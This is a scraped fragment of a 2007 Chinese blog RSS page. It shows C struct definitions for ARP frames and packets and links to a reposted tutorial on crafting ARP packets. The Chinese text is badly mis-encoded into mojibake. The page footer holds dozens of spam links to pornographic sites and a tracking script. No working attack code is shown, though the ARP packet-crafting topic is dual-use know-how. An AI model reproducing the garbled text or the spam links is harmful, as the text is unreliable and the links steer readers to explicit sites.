style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">{<o:p></o:p></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="mso-tab-count: 1">     </span> <span style="mso-tab-count: 1">     </span> <span style="COLOR: blue">unsigned</span> <span style="COLOR: blue">short</span> <span style="mso-tab-count: 2">         </span>HW_Type;<span style="mso-tab-count: 3">           </span><span style="COLOR: green">/* hardware address */<o:p></o:p></span></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="mso-tab-count: 1">     </span> <span style="mso-tab-count: 1">     </span> <span style="COLOR: blue">unsigned</span> <span style="COLOR: blue">short</span> <span style="mso-tab-count: 2">         </span>Prot_Type;<span style="mso-tab-count: 3">             </span><span style="COLOR: green">/* protocol address */<o:p></o:p></span></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="mso-tab-count: 1">     </span> <span style="mso-tab-count: 1">     </span> <span style="COLOR: blue">unsigned</span> <span style="COLOR: blue">char</span> <span style="mso-tab-count: 2">      </span>HW_Addr_Len;<span style="mso-tab-count: 2">       </span><span style="COLOR: green">/* length of hardware address */<o:p></o:p></span></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="mso-tab-count: 1">     </span> <span style="mso-tab-count: 1">     </span> <span style="COLOR: blue">unsigned</span> <span style="COLOR: blue">char</span> <span style="mso-tab-count: 2">      </span>Prot_Addr_Len;<span style="mso-tab-count: 2">         </span><span style="COLOR: green">/* length of protocol address */<o:p></o:p></span></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="mso-tab-count: 1">     </span> <span style="mso-tab-count: 1">     </span> <span style="COLOR: blue">unsigned</span> <span style="COLOR: blue">short</span> <span style="mso-tab-count: 2">         </span>Opcode;<span style="mso-tab-count: 3">            </span><span style="mso-spacerun: yes">    </span><span style="COLOR: green">/* ARP/RARP */<o:p></o:p></span></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: green; FONT-FAMILY: 新宋? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <o:p> </o:p> </span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="mso-tab-count: 1">     </span> <span style="mso-tab-count: 1">     </span> <span style="COLOR: blue">unsigned</span> <span style="COLOR: blue">char</span> <span style="mso-tab-count: 2">      </span>Send_HW_Addr[6];<span style="mso-spacerun: yes">     </span><span style="COLOR: green">/* sender hardware address */<o:p></o:p></span></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="mso-tab-count: 1">     </span> <span style="mso-tab-count: 1">     </span> <span style="COLOR: blue">unsigned</span> <span style="COLOR: blue">long</span> <span style="mso-tab-count: 2">      </span>Send_Prot_Addr;<span style="mso-spacerun: yes">      </span><span style="COLOR: green">/* sender protocol address */<o:p></o:p></span></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="mso-tab-count: 1">     </span> <span style="mso-tab-count: 1">     </span> <span style="COLOR: blue">unsigned</span> <span style="COLOR: blue">char</span> <span style="mso-tab-count: 2">      </span>Targ_HW_Addr[6];<span style="mso-spacerun: yes">     </span><span style="COLOR: green">/* target hardware address */<o:p></o:p></span></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="mso-tab-count: 1">     </span> <span style="mso-tab-count: 1">     </span> <span style="COLOR: blue">unsigned</span> <span style="COLOR: blue">long</span> <span style="mso-tab-count: 2">      </span>Targ_Prot_Addr;<span style="mso-spacerun: yes">      </span><span style="COLOR: green">/* target protocol address */<o:p></o:p></span></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="mso-tab-count: 1">     </span> <span style="mso-tab-count: 1">     </span> <span style="COLOR: blue">unsigned</span> <span style="COLOR: blue">char</span> <span style="mso-tab-count: 2">      </span>padding[18];<o:p></o:p></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 17.95pt; TEXT-ALIGN: left; mso-layout-grid-align: none; mso-para-margin-left: 1.71gd" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">} ARPFRAME, *PARPFRAME;<o:p></o:p></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 17.95pt; TEXT-ALIGN: left; mso-layout-grid-align: none; mso-para-margin-left: 1.71gd" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: green; FONT-FAMILY: 新宋? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">// ARP Packet = DLC header + ARP Frame</span> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <o:p> </o:p> </span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 17.95pt; TEXT-ALIGN: left; mso-layout-grid-align: none; mso-para-margin-left: 1.71gd" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">typedef</span> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="COLOR: blue">struct</span> tagARPPacket<span style="mso-spacerun: yes">                 </span><span style="COLOR: green"><o:p></o:p></span></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 17.95pt; TEXT-ALIGN: left; mso-layout-grid-align: none; mso-para-margin-left: 1.71gd" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">{<o:p></o:p></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 17.95pt; TEXT-ALIGN: left; mso-layout-grid-align: none; mso-para-margin-left: 1.71gd" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="mso-tab-count: 1"> </span> <span style="mso-tab-count: 1">     </span>DLCHEADER<span style="mso-tab-count: 2">     </span>dlcHeader;<o:p></o:p></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 17.95pt; TEXT-ALIGN: left; mso-layout-grid-align: none; mso-para-margin-left: 1.71gd" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="mso-tab-count: 1"> </span> <span style="mso-tab-count: 1">     </span>ARPFRAME<span style="mso-tab-count: 2">      </span>arpFrame;<o:p></o:p></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 17.95pt; mso-para-margin-left: 1.71gd"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">} ARPPACKET, *PARPPACKET;</span> <span lang="EN-US" style="FONT-SIZE: 9pt"> <o:p> </o:p> </span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 17.95pt; mso-layout-grid-align: none; mso-para-margin-left: 1.71gd"> <span style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 新宋? mso-ansi-language: ZH-CN"> <o:p> </o:p> </span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt; mso-char-indent-count: 2.0; mso-layout-grid-align: none"> <span style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 新宋? mso-ansi-language: ZH-CN">q些l构体一定能看懂?/span> <span style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 新宋?>Q?/span> <span style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋? mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 新宋? mso-ansi-language: ZH-CN">在程序中是对号入񔞮好?/span> </p> </div> <img src ="http://www.tkk7.com/yczz/aggbug/100055.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/yczz/" target="_blank">飞鸟</a> 2007-02-16 15:41 <a href="http://www.tkk7.com/yczz/articles/100055.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Q{Q手把手教你玩{ARP包(一Q【数据包的游戏系列之一?/title><link>http://www.tkk7.com/yczz/articles/100054.html</link><dc:creator>飞鸟</dc:creator><author>飞鸟</author><pubDate>Fri, 16 Feb 2007 07:39:00 GMT</pubDate><guid>http://www.tkk7.com/yczz/articles/100054.html</guid><wfw:comment>http://www.tkk7.com/yczz/comments/100054.html</wfw:comment><comments>http://www.tkk7.com/yczz/articles/100054.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/yczz/comments/commentRss/100054.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/yczz/services/trackbacks/100054.html</trackback:ping><description><![CDATA[     摘要: ?    a ...  <a href='http://www.tkk7.com/yczz/articles/100054.html'>阅读全文</a><img src ="http://www.tkk7.com/yczz/aggbug/100054.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/yczz/" target="_blank">飞鸟</a> 2007-02-16 15:39 <a href="http://www.tkk7.com/yczz/articles/100054.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss> <footer> <div class="friendship-link"> <p>лǵվܻԴȤ</p> <a href="http://www.tkk7.com/" title="亚洲av成人片在线观看">亚洲av成人片在线观看</a> <div class="friend-links"> </div> </div> </footer> վ֩ģ壺 <a href="http://8mav958.com" target="_blank">Ʒѹۿ</a>| <a href="http://2h6m.com" target="_blank">һŮȫƾþƬ</a>| <a href="http://szhszszy.com" target="_blank">վѹۿ</a>| <a href="http://222222se.com" target="_blank">ŷAVӰ߹ۿ</a>| <a href="http://www-92109.com" target="_blank">Ʒҹѹۿվ</a>| <a href="http://zzhjnmzp.com" target="_blank">av</a>| <a href="http://hsewx.com" target="_blank">ѹվ߹ۿ</a>| <a href="http://sswg2.com" target="_blank">޾ƷVŷ޾ƷVպƷ</a>| <a href="http://senimei9.com" target="_blank">aëƬͼƬ</a>| <a href="http://ahbbht.com" target="_blank">avҹƷһ</a>| <a href="http://wwwnewhtbook.com" target="_blank">弦վ߲ѹۿ</a>| <a href="http://wwwk47.com" target="_blank">޳AvƬɫҹ</a>| <a href="http://kelingdq.com" target="_blank">ƷƵ</a>| <a href="http://mqiuxia66.com" target="_blank">þպƬ</a>| <a href="http://ac839.com" target="_blank">69Ƶ</a>| <a href="http://26672814.com" target="_blank">޳avƬ롿</a>| <a href="http://7766qq.com" target="_blank">Ļ˾Ʒ</a>| <a href="http://zhuanjiao521.com" target="_blank">ɫһƵѹۿ</a>| <a href="http://bjsunic.com" target="_blank">AV </a>| <a href="http://ycjs999.com" target="_blank">һƵۿwww</a>| <a href="http://jinlaifubuxiugang.com" target="_blank">Ļۺ</a>| <a href="http://pjszlw.com" target="_blank">3dѶ߹ۿ</a>| <a href="http://ccccccx.com" target="_blank">91|</a>| <a href="http://appmofun.com" target="_blank">ѿһػaaƬ</a>| <a href="http://78avai.com" target="_blank">þùŮѹۿƷ</a>| <a href="http://mllm999.com" target="_blank">˵Ӱ</a>| <a href="http://dazngt.com" target="_blank">131ŮƵ</a>| <a href="http://alankell.com" target="_blank">ŮAëƬƵ</a>| <a href="http://42329c.com" target="_blank">ձþһva</a>| <a href="http://w7768.com" target="_blank">ĻӰĻַ8848aa</a>| <a href="http://pc521.com" target="_blank">xxxxxܴƬ߹ۿ</a>| <a href="http://5d8f.com" target="_blank">޶Ƶ˵ӰԺ</a>| <a href="http://nibayuan.com" target="_blank">պaëƬa</a>| <a href="http://www-959kj.com" target="_blank">ҹƵ</a>| <a href="http://c2277.com" target="_blank">ŷպ</a>| <a href="http://km9c.com" target="_blank">޾Ʒ鶹av</a>| <a href="http://gdjiayou.com" target="_blank">޾ƷƵѿ</a>| <a href="http://wuiso.com" target="_blank">߳Ķ </a>| <a href="http://imfever.com" target="_blank">㽶Ƶ߹ۿѹ</a>| <a href="http://www2019rz.com" target="_blank">պĻ</a>| <a href="http://dslygc.com" target="_blank">ѻɫַ</a>| <script> (function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https') { bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else { bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); })(); </script> </body>